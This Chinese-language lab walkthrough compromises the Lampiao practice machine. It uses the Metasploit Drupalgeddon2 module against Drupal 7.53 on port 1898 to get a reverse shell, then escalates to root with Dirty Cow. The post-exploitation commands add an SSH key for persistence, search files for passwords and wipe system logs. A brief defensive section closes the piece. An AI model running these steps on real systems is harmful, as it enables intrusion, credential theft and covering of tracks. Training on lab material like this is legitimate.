Drupal 7.53 CVE-2018-7600 漏洞利用:MSF 模块选择与 1898 端口实战
Drupal 7.53 CVE-2018-7600漏洞深度利用:从非标端口到权限提升的完整实战
靶机渗透中的关键突破口
当面对一个运行着Drupal 7.53的Lampiao靶机时,1898端口的发现往往成为整个渗透测试的转折点。这个非标准端口上运行的Drupal站点,隐藏着一个足以让攻击者获得系统控制权的致命漏洞——CVE-2018-7600,也就是安全圈内著名的"Drupalgeddon2"。
这个漏洞的特殊之处在于它影响Drupal 7.x和8.x系列,允许攻击者通过精心构造的请求实现远程代码执行。在真实的渗透测试场景中,这类漏洞的价值堪比黄金,因为它们提供了从外部直接获取系统访问权限的捷径。
环境侦察与漏洞确认
在开始漏洞利用前,我们需要确认几个关键信息:
服务指纹识别:
nmap -sV -p 1898 192.168.101.59这个命令会告诉我们1898端口上运行的确切服务版本。对于Drupal站点,版本信息通常可以在以下几个地方找到:
- CHANGELOG.txt
- README.txt
- 页面源代码中的meta标签
漏洞验证: 通过访问
/CHANGELOG.txt,我们能够确认目标运行的是Drupal 7.53版本,这正是受CVE-2018-7600影响的版本范围。
Metasploit模块的选择艺术
在Metasploit框架中搜索drupal相关模块时,我们会发现多个可用选项。选择正确的模块对攻击成功至关重要:
| 模块编号 | 模块路径 | 适用场景 | 成功率 |
|---|---|---|---|
| 1 | exploit/unix/webapp/drupal_drupalgeddon2 | 标准Drupal安装 | 高 |
| 4 | exploit/multi/http/drupal_drupageddon2 | 特殊配置环境 | 中等 |
| 5 | auxiliary/scanner/http/drupal_views_user_enum | 用户枚举 | N/A |
选择建议:
- 对于大多数标准安装,模块1(drupal_drupalgeddon2)是最可靠的选择
- 如果模块1失败,可以尝试模块4,它采用了不同的利用技术
- 模块5仅用于信息收集,不能直接获取shell
非标准端口的参数配置技巧
当目标服务运行在非标准端口(如1898)时,需要特别注意以下参数配置:
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.101.59 set RPORT 1898 set TARGETURI / set LHOST 192.168.101.31 exploit关键参数说明:
RHOSTS: 目标IP地址RPORT: 必须设置为1898而非默认的80TARGETURI: 如果Drupal安装在子目录下需要调整LHOST: 监听主机的IP,用于反向shell连接
漏洞利用过程详解
成功执行exploit后,我们会获得一个基础的Meterpreter会话。但这个会话往往功能有限,需要进行以下优化:
会话稳定性处理:
sessions -u [会话ID]这个命令会升级会话到更稳定的Meterpreter版本
交互式shell获取:
shell python -c 'import pty; pty.spawn("/bin/bash")'这让我们获得一个功能完整的伪终端
环境信息收集:
whoami uname -a cat /etc/issue这些命令帮助我们了解当前权限和系统环境
权限提升:从www-data到root
获得初始shell后,我们通常只有www-data用户权限。要完全控制系统,需要进一步提权。在Lampiao靶机中,经典的提权方法是利用Dirty Cow漏洞(CVE-2016-5195)。
提权步骤:
上传漏洞利用代码: 在Kali上定位漏洞利用代码:
locate 40847.cpp然后上传到目标机的/tmp目录
编译漏洞利用程序:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil各编译参数作用:
-Wall: 启用所有警告-pedantic: 符合ANSI/ISO标准-O2: 优化级别2-std=c++11: 使用C++11标准-pthread: 支持多线程-lutil: 链接util库
执行提权:
./dcow成功执行后,root密码会被修改为"dirtyCowFun"
验证root权限:
su root输入新密码后,我们就获得了完整的系统控制权
渗透后的关键操作
获得root权限后,不要急于宣告胜利。以下几个操作能帮助你巩固成果并收集更多信息:
建立持久化访问:
ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys这样可以通过SSH密钥直接登录
收集敏感信息:
find / -name "*password*" -type f 2>/dev/null grep -r "password" /var/www/ 2>/dev/null这些命令可以帮助发现其他系统的凭据
清除日志痕迹:
echo "" > /var/log/auth.log echo "" > /var/log/syslog注意:在实际渗透测试中,清除日志需要获得客户明确授权
防御建议与漏洞修复
站在防御者角度,针对此类攻击可以采取以下措施:
及时更新:
- 将Drupal升级到最新安全版本
- 定期应用安全补丁
安全配置:
- 修改默认文件路径(如CHANGELOG.txt)
- 限制敏感目录的访问权限
网络防护:
- 使用WAF过滤恶意请求
- 对管理后台实施IP白名单
系统加固:
- 及时修复内核漏洞
- 实施最小权限原则
从实战中获得的经验
在多次Lampiao靶机渗透过程中,我发现几个值得注意的细节:
端口扫描完整性: 初始扫描时很容易遗漏非标准端口,使用全端口扫描(
-p-)至关重要漏洞利用的耐心: 不是所有exploit模块都能一次成功,有时需要尝试不同选项
信息收集的价值: CHANGELOG.txt这样的文件往往能提供关键版本信息
提权路径的多样性: 除了Dirty Cow,也可以尝试其他本地提权方法
渗透测试就像解谜游戏,每个线索都可能通向最终目标。Lampiao靶机通过Drupal漏洞和内核漏洞的组合,完美模拟了现实世界中攻击者可能采取的路径。掌握这类漏洞的利用方法,不仅能提升渗透测试技能,更能深刻理解防御的重要性。
